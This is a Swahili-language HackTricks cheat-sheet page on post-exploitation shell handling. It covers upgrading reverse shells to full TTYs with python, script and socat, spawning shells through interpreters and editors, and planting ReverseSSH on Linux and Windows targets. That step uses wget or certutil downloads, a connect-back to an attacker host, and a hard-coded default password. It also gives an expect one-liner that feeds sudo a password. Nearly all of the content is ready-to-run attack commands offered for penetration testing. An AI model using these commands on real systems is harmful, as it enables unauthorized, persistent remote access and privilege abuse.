Full TTYs

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Full TTY

Kumbuka kwamba shell uliyoweka katika mabadiliko ya SHELL lazima iwe imeorodheshwa ndani ya /etc/shells au Thamani ya mabadiliko ya SHELL haikupatikana katika faili ya /etc/shells Tukio hili limeripotiwa. Pia, kumbuka kwamba vipande vifuatavyo vinatumika tu katika bash. Ikiwa uko katika zsh, badilisha kuwa bash kabla ya kupata shell kwa kukimbia bash.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Unaweza kupata idadi ya mifereji na safuwima kwa kutekeleza stty -a

script

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

• python -c 'import pty; pty.spawn("/bin/sh")'

• echo os.system('/bin/bash')

• /bin/sh -i

• script -qc /bin/bash /dev/null

• perl -e 'exec "/bin/sh";'

• perl: exec "/bin/sh";

• ruby: exec "/bin/sh"

• lua: os.execute('/bin/sh')

• IRB: exec "/bin/sh"

• vi: :!bash

• vi: :set shell=/bin/bash:shell

• nmap: !sh

ReverseSSH

Njia rahisi ya interactive shell access, pamoja na file transfers na port forwarding, ni kuweka server ya ssh iliyo na muunganisho wa kudumu ReverseSSH kwenye lengo.

Hapa kuna mfano wa x86 wenye binaries zilizoshinikizwa na upx. Kwa binaries nyingine, angalia releases page.

1. Andaa mahali ili kukamata ombi la port forwarding la ssh:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

• (2a) Lengo la Linux:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

• (2b) Lengo la Windows 10 (kwa toleo za awali, angalia project readme):

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

• Ikiwa ombi la kupeleka bandari la ReverseSSH lilifanikiwa, sasa unapaswa kuwa na uwezo wa kuingia kwa kutumia nenosiri la kawaida letmeinbrudipls katika muktadha wa mtumiaji anayekimbia reverse-ssh(.exe):

# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

No TTY

Ikiwa kwa sababu fulani huwezi kupata TTY kamili, bado unaweza kuingiliana na programu ambazo zinatarajia pembejeo za mtumiaji. Katika mfano ufuatao, nenosiri linapitishwa kwa sudo kusoma faili:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.